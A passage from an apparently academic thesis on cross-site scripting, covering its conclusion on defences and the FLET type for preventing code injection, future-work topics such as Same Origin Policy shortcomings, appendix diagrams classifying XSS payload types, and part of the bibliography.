fundamentally preventing XSS on the source code level.

Mitigation of XSS exploits

Furthermore, we explored the field of mitigating XSS exploits (see Part II). For this
purpose, we showed how to systematically design and implement XSS Payload-specific
countermeasures. More precisely, we selected three XSS Payload types (Session Hi-
jacking, Cross-Site Request Forgery, and attacks targeting an intranet) and utilized the
following methodology to design applicable countermeasures:
First we analysed the respective class of attacks for substantial characteristics. Based
on these extracted characteristics we deducted the minimal set of required capabilities
which have to be available to the adversary to execute the attack. Then, we designed
defensive techniques which selectively deprive the adversary of these capabilities while
avoiding to impact the general execution of the application more than necessary. Using
this methodology, we successfully designed, implemented, and evaluated countermea-
sures for the targeted attack classes.
In addition, our analysis of the selected payload types enabled us to deduce general
shortcomings of the web application security model: The implicit, over-allowing trust
relationship between individual pages of the same origin (see Sec. 7.2.3), the lack of a
suitable method for communicating authentication credentials (see Sec. 8.6), and the
missing distinction between “local” and “remote” resources (see Sec. 9.5). We discuss
these topics further in Section 14.2.

Prevention of XSS vulnerabilities

Finally, in Part III of this thesis, we investigated fundamental methods to prevent XSS
by addressing the root-cause of this vulnerability class. In this context, we concentrated
on XSS that is caused by insecure programming practices. This decision was made based
on the following observations:

• As already stated in the introduction to Part III, XSS problems which are caused
by insecure programming account for the dominant amount of XSS issues.

216
 14.1. Summary

• Furthermore, insecure programming-based XSS exposes a pattern which can be

generalized - the insecure mixing of untrusted data and foreign code.

• Finally, this bug pattern is not specific for XSS. Instead, several other wide-spread
code-based vulnerability types expose the same cause, e.g., SQL injection or direc-
tory traversal.

Consequently, we widened our attention to the more general vulnerability type – the
class of string-based code injection vulnerabilities. Such vulnerabilities occur because of
a confusion of data- and code-information during application programming. While pro-
gramming application components which dynamically assemble foreign language code,
such as HTML or SQL, the programmer involuntarily creates insecure conditions. This
results in cases in which information that is regraded to be data may end up in a syn-
tactical code context. Hence, to fundamentally solve this problem, an investigation of
methods to reliably separate data from code is required.
This observation exposed the necessity to clearly define the general terms data and
code in the context of foreign syntax assembly. For this purpose, we specified a set of
criteria (see Sec. 10.4.1) which can be applied to a given computer language in order
to map the identified syntactic language elements to represent either data-information
or code-elements. Then, we exemplified the usage of these criteria by applying them
to three common language classes: General purpose programming languages, mark-up
languages, and resource specifiers (see Sec. 10.4.2).
We utilized our proposed data/code-classification of language-elements twofold: For
one, in Chapter 11, we showed how to create a mechanism which detects on runtime
the injection of adversary controlled code-elements into foreign syntax statements. We
achieved this by locating legitimate code-elements before program execution and syn-
tactically marking them with secret string-masks. As the adversary does not know the
utilized string-masks, he is not able to inject correctly masked code-elements. Hence,
our technique is capable to detect and disarm injected code-elements before sending the
foreign syntax to the external interpreter.
Furthermore, we showed that the string type is not suited for run-time assembly of
foreign syntax (see Sec. 10.3). The string type does not provide sufficient capabilities
to separate data- from code-elements. Consequently, in Chapter 12, we proposed the
introduction of a novel datatype which is specifically designed for code assembly – the
Foreign Language Encapsulation Type (FLET). The FLET is a container type which
encapsulates a sequence of foreign language tokens. These token elements carry an
integrity type, which marks them to be either data-, identifier-, or code-elements. To
deterministically enforce a secure separation between these integrity classes, we specified
a set of typing rules which apply the BIBA integrity model to the token elements (see
Sec. 12.2). By mapping data-tokens to be of low-integrity and code-tokens to be of high-
integrity, the proposed type system extension reliably prevents information flows from
low to high integrity elements and, thus, the insecure interpretation of data as code.
Using a specific implementation target, the languages Java (native) and HTML/-
JavaScript (foreign), we demonstrated how to utilize this approach. In this context,

217
14. Conclusion

we examined further key aspects which are necessary for our approach to be usable in
practice. More precisely, for one we explored the integration of the foreign syntax into
the native language (see Sec. 12.3). Furthermore, we discussed the design of an abstrac-
tion layer which is responsible for interacting with the external interpreter by securely
translating the FLET into foreign code (see Sec. 12.4).
By means of our FLET-based approach, we have shown that practical separation
between data and code during foreign code assembly is feasible and, hence, provides
reliable, fundamental prevention of string-based code injection vulnerabilities.

14.2. Future work and open problems

In this section, we document open problems that we have identified during our work on
this thesis. The discussed topics include fundamental problems of the current state of
the web application paradigm as well as future work items which are a direct result of
our research.

14.2.1. Shortcomings of the Same Origin Policy (SOP)

The state of the art of JavaScript’s SOP leaves room for improvement:
For one, the SOP is often regarded to be too strict for modern application’s inter-
operability requirements. Creating web mashups or implementing web APIs requires
programmers to work around the SOP [163] which often leads to insecure program-
ming practises [37]. While clever usage of subdomains can even be used for controlled
cross-domain interactions [116], such solutions are cumbersome to implement and add
significant complexity to the application. A potential solution is presented by Flash’s
security policy [173] which allows partial cross-domain access without reducing the over-
all security of the application: All permitted cross-domain interactions are configured in
a crossdomain.xml policy file which can be obtained from the application’s server. An
adaption of this technique for JavaScript is currently drafted by the W3C [259].
Also, the SOP-induced restrictions are not fine-grained enough. Based on the policy,
there are only two possible decisions: Either “no access at all” or “unlimited access”.
Consequently, as discussed in Section 7.2.3, the SOP introduces an implicit trust rela-
tionship between single pages that are served using the same origin. This leads to the
current situation that a single XSS problem compromises the complete application, even
in situations in which the vulnerable page is of limited significance for the application
and does not require any interaction privileges with the rest of the application. As we
have shown in Section 7.2.3, the only currently available method to introduce privilege
segmentation for web applications is the introduction of additional subdomains to the
application.
Furthermore, as discussed in Section 3.3, the document-level nature of the SOP is
responsible for the basic reconnaissance attack (BRA) to function.
Finally, it appears questionable that a site’s security properties are exclusively derived
from the site’s domain name. The DNS mapping of the domain name to the web server’s
IP address is not within the power of the web server. Consequently, the application’s

218
 14.2. Future work and open problems

security depends on an outside entity which cannot be controlled by the application itself.
This fact leads to the discussed DNS rebinding vulnerabilities (see Sec. 3.3.4). In turn
DNS pinning, which was introduced to counter rebinding attacks, introduces problems
with dynamic DNS services and DNS based redundancy solutions. Furthermore, DNS
pinning is unable to protect against multi-session attacks as they have been described
by Soref [245] and Rios [220].

14.2.2. Authentication tracking

The current methods of tracking the authenticated state of a user over the course of mul-
tiple HTTP requests (see Sec. 1.2) exposes various shortcomings. Several documented
XSS Payload types exist because of the limitations of the current practices: For one,
all tracking mechanisms which are based on session identifiers (SIDs) are potentially
susceptible to SID theft attacks (see Sec. 4.1.1). This is due to the fact that the SID is
accessible via JavaScript1 .
Furthermore, all browser-level methods for authentication tracking (see Sec. 1.2.1),
such as cookies, HTTP authentication, and SSL, potentially cause CSRF issues in the
web application (see Sec. 5.1).
While we have shown how to counter these attacks in Chapters 7 and 8, our solutions
exhibit certain drawbacks, mostly due to added complexity and potential false positives.
However, a dedicated and standardized authentication credential which is natively im-
plemented by the web browser could mitigate the documented attacks more elegantly.
Such a credential should exhibit the following characteristics:
• It should not be automatically included in cross-domain requests. This require-
ment mirrors RequestRodeo’s basic approach (see Chapter 8). The cases in which
an application actually expects cross-domain requests which carry authentication
information are rare and limited to specific public interfaces, such as “post a link”
of social bookmarking services like delicious.com [280]. If an application needs to
provide such interfaces, they could be announced by a dedicated, meta-data-based
mechanisms, possibly comparable to Flash’s crossdomain.xml [173] (see above).
• It should not be accessible to client-side active code, such as JavaScript to prevent
credential leakage attacks, comparable to SID theft. Furthermore, this requirement
should be extended to password information to prevent that the adversary evades
the protection by switching the attack to password theft (see Sec. 4.2).
We regard resolving the specifics of such a credential tracking mechanism and its
introducing into the web browsers as a pressing matter.

14.2.3. Illegitimate external access to intranet resources

We explored in depth the available techniques which allow the adversary to gain access
to resources that are hosted on non-public network locations (see Sec. 3.3 and Chap-
1
Please note: If cookies are used for SID communication, this problem is by now partially solved by
the non-standard HTTPonly-option.

219
14. Conclusion

ter 6). Our proposed solution (see Chapter 9) works well in situations where a boundary
between local and remote network location is clearly defined. However, in some cases
the distinction between these two classifiers is blurry, for example within large internal
networks which include several departments of a single company. In such cases, it is not
always obvious which cross-domain requests are legitimate. Hence, further research is
needed to design flexible and fine-grained methods to securely handle such situations.
Furthermore, for the time being, the attacked server has only very limited capabilities
to notice the attack, such as checking referrer- or host-headers. Consequently, the devel-
opment of detection techniques targeted at the documented attacks could improve the
security of intranet resources.

14.2.4. XSS Payloads in the internet execution-context

XSS Payloads within the internet context (see Sec. 3.4 and 6.3) utilize the affected
web browser to execute further attacks against public internet resources. As it can
be deduced from Chapter 13, this class of XSS Payloads have not received significant
attention. This is probably because utilizing the victims browser per se does not grant
any elevated privileges or capabilities in respect to the attack’s final target. However, due
to the very limited client-side logging of a JavaScript’s actions and the rather powerful
networking capabilities granted by the web browser, such attacks can serve as a suitable
tool for hiding exploitation attempts and other illegal activities. Consequently, further
research in this area is necessary.

14.2.5. Next steps for the Foreign Language Encapsulation Type

Our FLET-based approach towards assembly of foreign code (see Chapter 12) provides
robust securities guarantees in respect to string-based code injection vulnerabilities.
However, during our work on this topic, we encountered several starting points for future
work in this domain.

Enforcing further constraints: The FLET encapsulates the foreign code in a partially
processed state. Depending on the FLET’s actual implementation this state might, for
example, resemble a token stream or an abstract syntax tree. In any case, the FLET pro-
vides better means towards an automatic processing of the foreign code than the general
string-datatype. This could be employed to globally enforce further constraints on the
foreign code. For example, the well-formedness of dynamically created XML documents
could be verified before passing them on to the external entity. Also, depending on the
execution context, the FLET could restrict the set of legal code-keywords and APIs to
a “safe” subset. For instance, this way third party add-ons/plug-ins to the application
can be restricted by an SQL-FLET to use only non-altering database operations like
select-statements.
Furthermore, in addition to enforcing restrictions on the foreign code, the FLET
could also be employed to transparently extend the foreign code. For example, an

220
 14.2. Future work and open problems

HTML-FLET could automatically add hidden one-time tokens into HTML forms to
avoid CSRF-issues.

Semi-automatic preprocessor and FLET-API construction: Methods to semi-auto-

matically create language lexers, tokenizers, and parsers using suitable formal grammars
are known for many years and have been implemented in various forms, such as YACC
[135] or Bison [50]. The construction of a foreign-code preprocessor (see Sec. 12.3.3)
is very closely related to creating language parsers. Hence, the task of preprocessor
construction should also be automatable.
Furthermore, as outlined in Section 12.5 the actual construction of a FLET-type with
a corresponding API to model a specific foreign language is straight forward. Given a
mapping of the set of language elements to the integrity types data, identifier, and code,
the design of the datatype and API is completely independent from the specifics of the
foreign syntax.
Consequently, designing a semi-automatic technique that uses an annotated foreign
grammar, which includes the mapping between the language elements and the integrity-
types, to produce the preprocessor and the FLET-API seems feasible. Such a mechanism
would add a high degree of flexibility to our approach, allowing to quickly adopt further
language dialects, new language features, and additional foreign languages.
To which degree the semi-automatic implementation of corresponding abstraction lay-
ers is possible is subject to further research.

Detection of code injection attempts: As already mentioned in Section 12.4.2 the

general approach for preventing code injection attacks described by Su and Wassermann
in [248] is well fitted to be combined with our methods. Su and Wassermann’s method
is based on the observation that successful command injection attacks affect the parse
tree of the resulting foreign code statements. This observation can be employed to de-
terministically identify code injection attacks: Every foreign code statement is serialized
twice. Once with the dynamic values provided by the application’s user and once with
dummy values. If the parse trees of the resulting statements differ, the user’s data did
contain a code injection attack2 . As the FLET has precise knowledge which components
of a given foreign code block are containing data values, the process of replacing these
components with dummy values is straightforward and reliable. However, creating and
comparing parse trees in realtime before communicating the foreign code to the external
entity may not always be feasible due to performance issues. Furthermore, in many
cases the abstraction layer is able to prevent injection attacks reliably by changing the
representation of the data components (see Sec. 12.4.2) without requiring the identifica-
tion of malicious data values in the first place. While not always suitable for preventing
injection attacks, this approach is perfectly fitted for detecting attempted attacks. Such
a detection mechanism does not require to be applied in real time. The creation and
comparison of the parse trees can be done asynchronously after the actual process has
2
As discussed in Section 10.4.1, attacks which replace elements instead of adding further syntactic
content may not be detected this way.

221
14. Conclusion

taken place. By monitoring potential malicious activities this way, the application’s
operators can identify sources of malicious behaviour like suspicious user accounts or
compromised network locations.

Templates in web applications: Most mature web application frameworks provide file-
formats which allow the separation of the program’s logic from the application’s inter-
face as it can be found in Model-View-Controller architectures [156]. Such templating-
formats usually combine static HTML-code with well defined insertion points. These
insertion points are filled with dynamic data during execution. Popular examples of
such templating-mechanisms are J2EE’s JSPs [253], or Ruby-on-Rail’s rhtml-format
[100]. In addition, many applications, such as content management systems, implement
application-specific templating mechanisms of their own.
Creating a templating-engine that conforms to our concept’s fundamental objectives
and type-safety constraints is not trivial. This holds especially true, if the actual
templates are dynamically retrieved from files or the database, as it is the case with
custom, application-specific templating mechanisms. In such cases, an unsophisticated
templating-implementation might reintroduce implicit code-serialization by allowing the
creation of foreign code from strings that, for instance, are stored in files. Consequently,
this could provide careless programmers with an insecure shortcut towards foreign code
assembly by reading their foreign code from dynamically created files.

14.3. Outlook
The web application paradigm is still evolving. Both JavaScript and HTML are under
active development. Web browsers recently started to implement HTML 5 [58], the next
major version of the language. New language elements, such as canvas, and extended
capabilities, such as cross-domain HTTP requests or persistent client-side storage, may
grant the adversary new capabilities. Therefore, existing and proposed countermeasures
have to be continuously reevaluated whether they still function given the current state
of the technology. Also, the novel capacities may lead to the development of currently
unknown XSS Payloads.
However, the methodologies discussed in this thesis remain valid for new attacks: For
one, the underlying approach of our payload classification (segmentation of execution-
contexts and identification of attack targets through URL schema iteration) is inde-
pendent from actual language features and, hence, can be applied to assess freshly dis-
covered payload types. Furthermore, our general methodology of Part II to develop
payload-specific mitigation can be utilized to create suiting countermeasures.
Also, the attack surface of XSS attacks is directly related to the number of existing
XSS vulnerabilities in deployed applications. Thus, a wide adaption of our FLET-based
technique for reliably secure foreign code assembly would cause a significant reduction
of this attack surface.
Consequently, this thesis’ contributions can provide crucial leverage to address the
pressing problem of XSS.

222
 Part V.

Appendix

223
A. Graphical Representation of the XSS
Payload Classification

A.1. Application context

In addition to the information given in Section 3.4, this section provides a graphical
representation of the classified JSDAs in the application context. For further details
please refer to Section 3.4 and Chapter 4.

Execution context Application

All properties of the

Attack-target
hosting web app

Attack-type Integrity State

Session Leaking Leaking Leaking sensitive

Attack-capability
hijacking session data password data application data
(A.1.s.1) (A.1.c.1) (A.1.c.2) (A.1.c.3)

Figure A.1.: JSDA classification: Application context

225
A. Graphical Representation of the XSS Payload Classification

A.2. Browser context

In addition to the information given in Section 3.4, this section provides a graphical
representation of the classified JSDAs in the browser context. For further details please
refer to Section 3.4 and Chapter 5.

Execution context Browser

Static Dynamic
Statefull
Attack-target browser browser
web apps
properties properties

Attack-type Confidentiality State Confidentiality Confidentiality

Leaking Privacy Privacy

Browser
application CSRF attacks - attacks -
Attack-capability fingerprinting
state (B.1.s.1) CSS timing
(B.3.c.1)
(B.1.c.1) (B.2.c.1) (B.2.c.2)

Figure A.2.: JSDA classification: Browser context

226
 A.3. Computer context

A.3. Computer context

In addition to the information given in Section 3.4, this section provides a graphical
representation of the classified JSDAs in the computer context. For further details
please refer to Section 3.4 and Chapter 5.
Execution context
Computer

localhost
Attack-target localhost Installed
http Filesystem
ACSII network applications
servers
services

Attack-type Confidentiality State State

Confidentiality State Confidentiality State

Fingerprinting Content Exploiting Exploiting Initiating

Exploiting Fingerprinting Exploiting low- Fingerprinting
Attack-capability (C.1.c.1) leakage low-level DOM- attacks through
XSS (C.2.c.1) level (C.3.c.1)
(C.1.c.2) vulnerabilities based XSS launching of
(C.1.s.2) vulnerabilities
(C.1.s.1) (C.2.s.1) (C.3.s.1) applications
(C.4.s.1)

Figure A.3.: JSDA classification: Computer context

227
A. Graphical Representation of the XSS Payload Classification

A.4. Intranet context

In addition to the information given in Section 3.4, this section provides a graphical
representation of the classified JSDAs in the intranet context. For further details please
refer to Section 3.4 and Chapter 6.

Execution context Intranet

Attack-target Intranet Intranet

Intranet
HTTP ASCII
hosts
servers network
services

Attack-type
Confidentiality State Confidentiality State Confidentiality

Fingerprinting Content Exploiting Exploiting Fingerprinting Exploiting Enumeration

Attack-capability (D.1.c.1) leakage XSS low-level (D.2.c.1) low-level - ping sweep
(D.1.c.2) (D.1.s.1) vulnerabilities vulnerabilities (D.3.c.1)
(D.1.s.2) (D.2.s.1)

Figure A.4.: JSDA classification: Intranet context

228
 A.5. Internet context

A.5. Internet context

In addition to the information given in Section 3.4, this section provides a graphical
representation of the classified JSDAs in the internet context. For further details please
refer to Section 3.4 and Chapter 6.
Execution context
Internet

Attack-target Internet Internet Internet

HTTP ASCII hosts
servers network
services

Attack-type State
Confidentiality Confidentiality State Confidentiality

Fingerprinting Exploiting Fingerprinting Exploiting Attack

Click Fraud
Attack-capability (E.1.c.1) low-level (E.2.c.1) low-level target
(E.1.s.2)
vulnerabilities vulnerabilities selection
(E.1.s.1) (E.2.s.1) (E.3.c.1)

Figure A.5.: JSDA classification: Internet context

229
A. Graphical Representation of the XSS Payload Classification

230
Bibliography
[1] Ben Adida. The Browser as a Secure Platform for Loosley Coupled, Private-Data
Mashups. In Web 2.0 Security & Privacy 2007 (W2SP 07), May 2007.
[2] Adobe Acrobat Developer Center. JavaScript for Acrobat. [online], http://www.
adobe.com/devnet/acrobat/javascript.html, (08/08/08), 2008.
[3] Adobe Coperation. Adobe flash. [online] http://www.adobe.com/products/
flash/flashpro/.
[4] Wade Alcorn. Inter-protocol communication. Whitepaper, http://www.
ngssoftware.com/research/papers/InterProtocolCommunication.pdf,
(11/13/06), August 2006.
[5] Wade Alcorn. Inter-Protocol Exploitation. Whitepaper, NGSSoftware Insight
Security Research (NISR), http://www.ngssoftware.com/research/papers/
InterProtocolExploitation.pdf, March 2007.
[6] American National Standard for Information Technology. ANSI/INCITS 331.1-
1999 - Database Languages - SQLJ - Part 1: SQL Routines using the Java (TM)
Programming Language. InterNational Committee for Information Technology
Standards (formerly NCITS), September 1999.
[7] Yair Amit. Google Desktop Cross-Site Scripting Weakness. Security Advisory,
[online], http://www.securityfocus.com/bid/22650 (01/20/08), February 2007.
[8] Chris Anley. Advanced SQL Injection In SQL Server Applications. Whitepaper,
http://www.ngssoftware.com/papers/advanced sql injection.pdf, 2002.
[9] Apache HTTP Server Documentation Project. Security Tips for Server Configura-
tion. [online], http://httpd.apache.org/docs/1.3/misc/security tips.html,
(12/12/08).
[10] Apple Developer Connection. Developing Dashboard Widgets. [online], http:
//developer.apple.com/macosx/dashboard.html, (08/08/08), February 2007.
[11] Maksymilian Arciemowicz. Bypass XSS filter in PHPNUKE 7.9. mailing list
Bugtraq, http://www.securityfocus.com/archive/1/419496/30/0/threaded,
December 2005.
[12] Ken Ashcroft and Dawson Engler. Using Programmer Written Compiler Exten-
sions to catch security holes. In IEEE Symposium on Security and Privacy, pages
143–159, May 2002.

231
Bibliography

[13] AVM GmbH. FRITZ! Box. [online], product website, http://www.avm.de/en/

Produkte/FRITZBox/index.html, (09/06/07).

[14] A. Baratloo, N. Singh, and T. Tsai. Transparent run-time defense against stack
smashing attacks. In USENIX Annual Technical Conference, 2000.

[15] Adam Barth, Collin Jackson, and John C. Mitchell. Robust Defenses for Cross-Site
Request Forgery. In CCS’09, 2009.

[16] D. Bell and L. LaPadula. Secure Computer Systems: Mathematical Foundations

and Model. Technical Report ESD-TR-76-372, MITRE Corp., 1973.

[17] T. Berners-Lee, R. Fielding, and L. Masinter. Uniform Resource Identifier (URI):

Generic Syntax. RFC 3986, http://gbiv.com/protocols/uri/rfc/rfc3986.
html, January 2005.

[18] Tim Berners-Lee and Robert Cailliau. WorldWideWeb: Proposal for a HyperText
Project. [online], http://www.w3.org/Proposal, 1990.

[19] Tim Berners-Lee, Larry Masinter, and Mark McCahill. Uniform Resource Locators
(URL). RFC 1738, http://www.faqs.org/rfcs/rfc1738.html, December 1994.

[20] Jean Berstel and Luc Boasson. XML grammars. In Mathematical Foundations of
Computer Science 2000, Bratislava, Lect. Notes Comput. Sci. 1893, pages 182–191.
Springer, 2000.

[21] Kenneth J. Biba. Integrity Considerations for Secure Computer Systems. Technical
Report MTR-3153, Mitre Corporation, April 1977.

[22] Blwood. Multiple XSS Vulnerabilities in Tikiwiki 1.9.x. mailing list Bugtraq, http:
//www.securityfocus.com/archive/1/435127/30/120/threaded, May 2006.

[23] Andrew Bortz, Dan Boneh, and Palash Nandy. Exposing Private Information by
Timing Web Applications. In WWW 2007, 2007.

[24] David Boswell, Brian King, Ian Oeschger, Pete Collins, and Eric Murphy. Creating
Applications with Mozilla. O’Reilly Media, September 2002.

[25] Stephen W. Boyd and Angelos D. Keromytis. SQLrand: Preventing SQL Injection
Attacks. In Proceedings of the 2nd Applied Cryptography and Network Security
(ACNS) Conference, 2004.

[26] T. Bray, J. Paoli, and C. M. Sperberg-McQueen. Extensible Markup Language

(XML) 1.0 (Fourth Edition). W3C Recommendation, http://www.w3.org/TR/
REC-xml, August 2006.

[27] Jesse Burns. Cross Site Request Forgery - An introduction to a common web ap-
plication weakness. Whitepaper, https://www.isecpartners.com/documents/
XSRF Paper.pdf, 2005.

232
 Bibliography

[28] David Byrne. Anti-DNS Pinning and Java Applets. Posting to the Bugtraq mailing
list, http://seclists.org/fulldisclosure/2007/Jul/0159.html, July 2007.

[29] David Byrne. Intranet Invasion Through Anti-DNS Pinning. Talk at the Black
Hat 2007 conference, August 2007.

[30] Luca Cardelli. ”Type systems” in The Computer Science and Engineering Hand-
book, chapter 97. CRC Press, 2nd edition, February 2004.

[31] Rob Carter. Local Web Servers Are Dangerous. [online], http:
//r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html,
(04/25/08), March 2008.

[32] Rob Carter. uTorrent Pwn3d. [online], http://r00tin.blogspot.com/2008/04/

utorrent-pwn3d.html, (04/22/08), April 2008.

[33] CERT/CC. CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in

Client Web Requests. [online], http://www.cert.org/advisories/CA-2000-02.
html (01/30/06), February 2000.

[34] Steve Champeon. JavaScript: How Did We Get Here? [online], http://www.
oreillynet.com/pub/a/javascript/2001/04/06/js history.html (02/20/09),
June 2001.

[35] H. Chen and D. Wagner. MOPS: an Infrastructure for Examining Security Prop-
erties of Software. In Proceedings of the 9th ACM Conference on Computer and
Communication Security (CCS ’02), October 2002.

[36] B. Chess and G. McGraw. Static Analysis for Security. IEEE Security & Privacy,
Nov/Dec, 2004.

[37] Brian Chess, Yekaterina Tsipenyuk O’Neil, and Jacob West. JavaScript Hi-
jacking. [whitepaper], Fortify Software, http://www.fortifysoftware.com/
servlet/downloads/public/JavaScript Hijacking.pdf, March 2007.

[38] T. Chiueh and F. Hsu. RAD: A compile-time solution to buffer overflow attacks.
In IEEE International Conference on Distributed Computing Systems, 2001.

[39] Steve Christey and Robert A. Martin. Vulnerability Type Distributions in CVE,
Version 1.1. [online], http://cwe.mitre.org/documents/vuln-trends/index.
html, (09/11/07), May 2007.

[40] James Clark and Murata Makoto. RELAX NG. OASIS Specification, http://www.
oasis-open.org/committees/relax-ng/spec-20011203.html, December 2001.

[41] Andrew Clover. CSS visited pages disclosure. Posting to the Bugtraq mailing list,
http://seclists.org/bugtraq/2002/Feb/0271.html, February 2002.

233
Bibliography

[42] Lorenzo Colitti and Philip Chee. Flashblock. [software], http://flashblock.

mozdev.org/, 2008.

[43] R. Connor, D. Lievens, F. Simeoni, S. Neely, and G. Russell. Projector: a partially

typed language for querying XML. In Programming Language Technologies for
XML (PLAN-X 2002), 2002.

[44] William R. Cook and Siddhartha Rai. Safe Query Objects: Statically Typed
Objects as Remotely Executable Queries. In Proc. of the International Conference
on Software Engineering (ICSE 2005), pages 97–106, 2005.

[45] Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve
Beattie, Aaron Grier, Perry Wagle, Qian Zhang, and Heather Hinton. StackGuard:
Automatic adaptive detection and prevention of buffer-overflow attacks. In Proc.
7th USENIX Security Conference, pages 63–78, San Antonio, Texas, jan 1998.

[46] Crispin Cowan, Matt Barringer, Steve Beattie, Greg Kroah-Hartman, Mike
Frantzen, and Jamie Lokier. Format guard: Automatic protection from printf
format string vulnerabilities. In Proceedings of the 10th USENIX Security, 2001.

[47] Crispin Cowan, Steve Beattie, John Johansen, and Perry Wagle. PointGuard:
Protecting Pointers from Buffer Overflow Vulnerabilities. In 12th USENIX Security
Symposium, 2003.

[48] D. Crockford. The application/json Media Type for JavaScript Object Notation
(JSON). RFC 4627, http://www.ietf.org/rfc/rfc4627.txt, July 2006.

[49] Douglas Crockford. Private Members in JavaScript. [online], http://www.

crockford.com/javascript/private.html, (11/01/06), 2001.

[50] Akim Demaille, Joel E. Denny, and Paul Egger (maintainers). Bison - GNU parser
generator. Software, http://www.gnu.org/software/bison/.

[51] D. E. Denning and P. J. Denning. Certification of Programs for Secure Information

Flow. Communications of the ACM, 20(7):504–513, July 1977.

[52] Rachna Dhamija and J.D. Tygar. The Battle Against Phishing: Dynamic Security
Skins. In Symposium On Usable Privacy and Security (SOUPS) 2005, July 2005.

[53] T. Dierks and C. Allen. The TLS Protocol Version 1.0. RFC 2246, http://www.
ietf.org/rfc/rfc2246.txt, January 1999.

[54] Anonymous (”Digger”). How to defeat digg.com. [online], http://4diggers.

blogspot.com/2006/06/how-to-defeat-digg.html, (01/15/08), June 2006.

[55] Thai N. Duong. Zombilizing the browser via Flash player 9. talk at
the VNSecurity 2007 conference, http://vnhacker.blogspot.com/2007/08/
zombilizing-web-browsers-via-flash.html, August 2007.

234
 Bibliography

[56] D.Wagner, J. Foster, E. Brewer, and A. Aiken. A first step towards automated
detection of buffer overrun vulnerabilities. In Proceedings of NDSS 2000, 2000.

[57] ECMA. ECMAScript Language Specification, 3rd edition. Standard

ECMA-262, http://www.ecma-international.org/publications/standards/
Ecma-262.htm, December 1999.

[58] Ian Hickson (Editor). HTML 5. WHATWG Draft Recommendation, http://www.

whatwg.org/specs/web-apps/current-work/html5-a4.pdf, Fenruary 2009.

[59] F. Ellermann. The ’news’ and ’nntp’ URI Schemes. Draft RFC, http://tools.
ietf.org/html/draft-ellermann-news-nntp-uri-11, April 2008.

[60] David Endler. The Evolution of Cross-Site Scripting Attacks. Whitepaper, iDe-
fense Inc., http://www.cgisecurity.com/lib/XSS.pdf, May 2002.

[61] Ulfar Erlingsson, Benjamin Livshits, and Yinglian Xie. End-to-end Web Applica-
tion Security. In Proceedings of the 11th Workshop on Hot Topics in Operating
Systems (HotOS’07), May 2007.

[62] Stefan Esser. Bruteforcing HTTP Auth in Firefox with

JavaScript. [online], http://blog.php-security.org/archives/
56-Bruteforcing-HTTP-Auth-in-Firefox-with-JavaScript.html,
(08/31/07), December 2006.

[63] Stefan Esser. JavaScript/HTML Portscanning and HTTP

Auth. [online], http://blog.php-security.org/archives/
54-JavaScriptHTML-Portscanning-and-HTTP-Auth.html, (08/27/07), Novem-
ber 2006.

[64] Hiroaki Etoh. GCC extension for protecting applications from stack-smashing
attacks. [software], http://www.research.ibm.com/trl/projects/security/
ssp/.

[65] F-Secure. Yamanner - JavaScript worm that targets Yahoo! Mail. [online], http:
//www.f-secure.com/weblog/archives/00000899.html, (04/18/08), June 2006.

[66] David C. Fallside and Priscilla Walmsley. XML Schema. W3C Recommendation,
http://www.w3.org/TR/xmlschema-0, October 2004.

[67] Sacha Faust. LDAP Injection. Whitepaper, SPI Dynamics, Inc., http://www.
dsinet.org/files/textfiles/LDAPinjection.pdf, 2003.

[68] Renaud Feil and Louis Nyffenegger. Evolution of cross site request forgery attacks.
Journal in Computer Virology, 4(1):61–71, February 2007.

[69] Kenneth Feldt. Programming Firefox: Building Rich Internet Applications with
XUL. O’Reilly Media, April 2007.

235
Bibliography

[70] Edward W. Felten and Michael A. Schneider. Timing Attacks on Web Privacy. In
Proceedings of the 9th ACM Conference on Computer and Communication Security
(CCS ’02), 2000.

[71] Dave Ferguson. Netflix.com XSRF vuln. Posting to the Web Se-
curity Mailinglist, http://www.webappsec.org/lists/websecurity/archive/
2006-10/msg00063.html, October 2006.

[72] Kevin Fernandez and Dimitris Pagkalos. XSSed.com - XSS (cross-site script-
ing) information and vulnerabile websites archive. [online], http://xssed.com
(03/20/08).

[73] Abe Fettig. Twisted Network Programming Essentials. O’Reilly, first edition,
October 2005.

